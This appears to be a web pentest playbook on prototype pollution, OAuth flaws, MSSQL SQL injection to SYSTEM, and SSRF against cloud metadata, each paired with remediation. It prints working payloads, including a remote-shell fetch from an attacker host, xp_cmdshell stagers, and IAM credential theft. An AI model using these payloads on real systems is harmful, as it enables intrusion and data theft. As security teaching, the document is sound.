Server-Side Web Pentest Playbook: Prototype Pollution, OAuth Flaws, SQLi-to-RCE, and SSRF
Four of the highest-impact server-side web vulnerability classes, chained to full compromise. Prototype pollution → RCE via child_process gadgets, OAuth misconfig → account takeover, MSSQL SQLi → SYSTEM via xp_cmdshell + PrintSpoofer, and SSRF → AWS IAM credential theft. Theory, exploitation, and hardening for each.
Four vulnerability classes show up in almost every engagement against a modern web application. They look unrelated, but the mindset is the same - find where untrusted input feeds into a sensitive operation without type or semantic validation. This playbook walks prototype pollution, OAuth 2.0 misconfigurations, SQL injection to RCE, and SSRF into cloud metadata - each with theory, a real exploitation path, and the hardening a defender needs.
1. Prototype Pollution → RCE
Theory
JavaScript objects inherit from Object.prototype. If an attacker can set arbitrary properties on the prototype chain, every object in the application gets those properties as defaults. Because many libraries read options from objects without explicit defaults, polluted properties silently change application behavior.
The primitive is usually a vulnerable recursive merge or deep clone function - lodash.merge, lodash.defaultsDeep, older Object.assign polyfills, or hand-rolled versions - that walks an input object and assigns keys to a target without filtering __proto__, constructor, or prototype as special.
// Vulnerable recursive merge
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// Attacker-supplied JSON
merge({}, JSON.parse('{"__proto__":{"polluted":"yes"}}'));
console.log({}.polluted); // "yes" - every subsequent object inherits this
Pollution itself isn’t RCE. The escalation path is finding a gadget - code that reads a prototype-defaulted property and uses it for something dangerous.
Gadget 1: child_process.spawn reads shell, env, argv0
Node.js’s spawn() accepts an options object. If a field isn’t explicitly set on that object, reading it falls through to the prototype.
// Pollute
Object.prototype.shell = "/proc/self/exe";
Object.prototype.argv0 = "node";
Object.prototype.NODE_OPTIONS = "--require /proc/self/cmdline; -e require('child_process').execSync('curl http://attacker/shell.sh|bash')//";
// Any later spawn() call - even for an innocuous command - executes the payload
require('child_process').spawn("echo", ["harmless"]);
This works on Node 10-20 unless the calling code explicitly passes shell: false, env: {} every time.
Gadget 2: EJS outputFunctionName
The EJS template compiler reads opts.outputFunctionName when generating its JS template function. If polluted, the value is embedded in the compiled function directly - any valid JS runs:
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').execSync('id');//";
ejs.render("<%= 'hi' %>"); // executes `id`
Gadget 3: Handlebars, pug, and the SafeString family
Each has its own prototype-readable field that ends up in the compiled output. Snyk and GitHub Security Lab maintain gadget lists per-library.
Finding Pollution Sinks
- Identify the merge/clone primitive in the codebase (
lodash.merge,_.defaultsDeep,hoek.merge, or hand-rolled). - Identify user-controlled input that flows into it -
req.body,req.query, JSON-parsed cookies. - Grep the codebase for
options.<field>reads without explicit defaults. - Grep installed packages in
node_modules/for known gadget chains.
Remediation
- Upgrade
lodash(≥ 4.17.21), switch tolodash.mergeWithwith a customizer that rejects__proto__. - Use
Object.create(null)for option bags that accept user data. Object.freeze(Object.prototype)- breaks some libraries, but bulletproof for those that tolerate it.- Use Maps instead of plain objects for user-controlled key-value storage.
2. OAuth 2.0 Misconfigurations → Account Takeover
OAuth’s spec is large and implementations implement it piecemeal. The common flaws cluster into five buckets.
2.a - redirect_uri validation
If the authorization server doesn’t enforce exact match on redirect_uri, an attacker can redirect the authorization code to a host they control:
https://auth.target.com/authorize?
client_id=legit_app&
redirect_uri=https://attacker.com/callback&
response_type=code&
scope=profile+email
The victim, already logged into the authorization server, sees a normal consent screen (scopes listed) and clicks Approve. The code lands on attacker.com, which exchanges it for an access token.
Variants that bypass weak validation:
redirect_uri=https://target.com.attacker.com/cb- suffix-match flawredirect_uri=https://target.com@attacker.com/cb- URL parsing flawredirect_uri=https://target.com/path/../attacker.com/cb- path traversal in the matchredirect_uri=https://target.com#@attacker.com/cb- fragment parsing difference- Unicode lookalikes for each character
2.b - Missing state → CSRF → account takeover
state is a CSRF token for the OAuth flow. If the application omits or doesn’t validate it, an attacker can fix the authorization response to their own account:
- Attacker starts OAuth flow normally, stops after receiving
codeat the callback - Attacker sends victim the callback URL:
https://target.com/oauth/cb?code=ATTACKER_CODE - Victim clicks, target exchanges the code - and links the attacker’s OAuth identity to the victim’s session
If the OAuth link is the primary login method, the attacker now logs into the victim’s account.
2.c - Token leakage via Referer
If the OAuth callback page contains any external link or image, and the token (authorization code or access token) is in the URL, clicking the link sends the token in the Referer header to a third party.
Worse: if the token is in the URL fragment (implicit flow), it’s in the browser’s history.
2.d - PKCE downgrade
In a PKCE flow, the client generates code_verifier, hashes it as code_challenge, sends the challenge with the initial request, and sends the verifier at token exchange. If the authorization server doesn’t require PKCE when one flow started with it, an attacker who captures the code (via any of the attacks above) can complete the exchange without the verifier.
2.e - Scope escalation via . and +
Some authorization servers parse scopes loosely. Requesting profile.admin or profile+admin when only profile was approved may grant extra scopes by library-specific parsing bugs.
Exploitation Testing Checklist
- Try
redirect_urivariants (suffix, path traversal, Unicode, IP) - Strip
state, reuse stalestate, check if token rotates bound to state - Intercept with Burp, check if the access token ends up in the History or a logged-in Referer
- Strip
code_challenge/code_verifier, see if the flow still completes - Mutate
scopewith.,+,,, newline - Check
iss,aud,azpclaims on the ID token - strict validation?
Remediation
- Exact-match
redirect_uri, pre-registered per client - Require
state, bind it to session server-side - PKCE mandatory for public clients; recommended for confidential
Referrer-Policy: no-referreron OAuth callback pages- Short token lifetimes, one-time-use codes
- Validate
aud,iss,expon every ID token
3. SQL Injection → SYSTEM on MSSQL
Classic SQL injection is a Tuesday. SQL injection on MSSQL with service-account-high privileges is Domain Admin by noon.
The Path
Blind SQLi → enable xp_cmdshell → PowerShell reverse shell
→ SeImpersonatePrivilege → PrintSpoofer / GodPotato
→ SYSTEM
Discovery - Blind SQLi on MSSQL
Login form returns different responses for truthy vs falsy payloads:
admin' AND 1=1-- → valid redirect
admin' AND 1=2-- → "invalid password"
Confirm the backend is MSSQL:
admin' AND @@version LIKE 'Microsoft%'--
Escalation - Enable xp_cmdshell
Stacked queries if permitted (; or the ODBC {call} syntax):
admin'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
If stacked queries are blocked, same effect via EXEC AT linked servers or OPENROWSET.
RCE - PowerShell Beacon
admin'; EXEC xp_cmdshell 'powershell -w hidden -e <base64_cobalt_stager>';--
The shell returns as the SQL service account - NT SERVICE\MSSQLSERVER by default. That account has SeImpersonatePrivilege.
Local Privesc - SeImpersonate → SYSTEM
SeImpersonatePrivilege is the “god mode” of local Windows privilege escalation. It lets the holder impersonate any token they can obtain - which includes tokens from any RPC service that hands them out.
Working PoCs, all current through 2026:
- PrintSpoofer - spoofs the Print Spooler service to get a SYSTEM token. Works on most Windows builds except those with Spooler disabled.
- GodPotato - abuses the DCOM RPC services available even when Spooler is off. Works on all Server 2016+ / Windows 10+.
- RoguePotato - older; requires an OXID resolver redirection.
C:\> GodPotato.exe -cmd "cmd /c whoami"
[*] NT AUTHORITY\SYSTEM
From SYSTEM to Domain Admin
On the SQL server box, one of:
- Dump LSASS → obtain domain admin credential if a DA ever logged in
- Use the machine account via Kerberos - DCSync often works directly from a domain-joined host with LSA Secrets
- Lateral movement via the machine’s Kerberos ticket in memory
Remediation priorities (in order of what actually matters):
- Parameterize queries. This fixes every SQLi.
- Run SQL Server as a low-privilege account without
SeImpersonatePrivilege. This alone breaks the chain even if SQLi lands. - Disable
xp_cmdshelland blocksp_configurefor the app’s DB user. - Use Windows authentication with least-privilege rights to the app’s database only.
4. SSRF → Cloud Metadata → IAM Takeover
Theory
Cloud providers expose a metadata service on a link-local IP (169.254.169.254) to instance-local clients. That service returns, among other things, temporary IAM credentials for the role attached to the instance. Any SSRF that can reach localhost or link-local addresses can steal those credentials.
Discovery - SSRF in a PDF Generator
A “generate PDF report” feature accepts a template_url. Canary payload:
template_url=https://<burp-collaborator-id>.oastify.com/
Burp Collaborator receives a hit from the server’s egress IP. SSRF confirmed.
Bypassing “no localhost” filters
Common filter attempts and bypasses:
| Filter | Bypass |
|---|---|
Block 127.0.0.1 literal |
http://127.1 / http://0.0.0.0 / http://[::1]/ |
Block 169.254.169.254 |
Decimal: http://2852039166/ - same IP |
Hex: http://0xa9fea9fe/ |
|
Mixed: http://169.254.169.254%2523.attacker.com |
|
| Block RFC1918 | DNS rebinding - attacker-controlled hostname rotates between public IP (pass filter) and metadata IP (resolve again) |
| Block scheme != https | gopher://, dict://, file:// depending on HTTP client |
Extracting AWS IAM credentials
AWS IMDSv1 (unauthenticated):
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ EC2-WebApp-Role
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-WebApp-Role
→ {
"AccessKeyId":"ASIA...",
"SecretAccessKey":"...",
"Token":"...",
"Expiration":"2026-04-18T15:00:00Z"
}
Using the stolen credentials
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Enumerate what the role can do
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name EC2-WebApp-Role
aws s3 ls
aws ssm list-commands
Common attached policies on “web app” roles: S3 read on customer data buckets, SSM to SendCommand on other instances (lateral movement), KMS Decrypt on application keys.
Remediation
- Enforce IMDSv2, which requires a
PUTwith a session token header - most SSRF primitives are GET-only and can’t deliver it. - Hop limit = 1 on IMDS to prevent container-level SSRF reaching the host’s metadata service.
- Egress allowlist: the web app doesn’t need to make arbitrary outbound HTTP - whitelist its real dependencies.
- IAM role least privilege: the role attached to an EC2 instance should be the minimum required for its function, not the project’s general-purpose “web role.”
Azure / GCP equivalents
- Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01- requiredMetadata: trueheader (filter bypass via header injection) - GCP:
http://metadata.google.internal/computeMetadata/v1/- requiredMetadata-Flavor: Googleheader (same bypass opportunity)
Same primitive, same escalation pattern across providers.
Chaining: Which Primitives Combine Into a Full Breach
An experienced tester knows what to look for first:
- Finding prototype pollution in a login/sign-up flow? Look for OAuth - pollution-to-RCE via the OAuth library’s compiled templates is common.
- Finding blind SQLi? Check the DB connection string for a non-sa-equivalent. If
NT SERVICE\MSSQL$*, SYSTEM is an hour away. - Finding SSRF? Identify the cloud provider first - IMDSv2 enforcement is environment-specific.
- OAuth flaws + session management? The account-takeover path often goes through OAuth even when the login form is perfectly fine.
Summary
These four classes - prototype pollution, OAuth misconfig, SQLi-to-RCE, SSRF - cover roughly 60% of high-impact web findings in modern engagements. The code patterns that cause each are documented, their gadgets are enumerable, and their remediations are concrete. What makes them interesting is the chaining: a medium-severity pollution becomes RCE via a gadget; a low-severity OAuth oversight becomes account takeover via state omission; SSRF becomes cloud compromise via IMDSv1.
Every “low severity” web bug is waiting to be chained. The operator’s job is to find the chain that ends at the business impact - not to fill the report with context-free findings.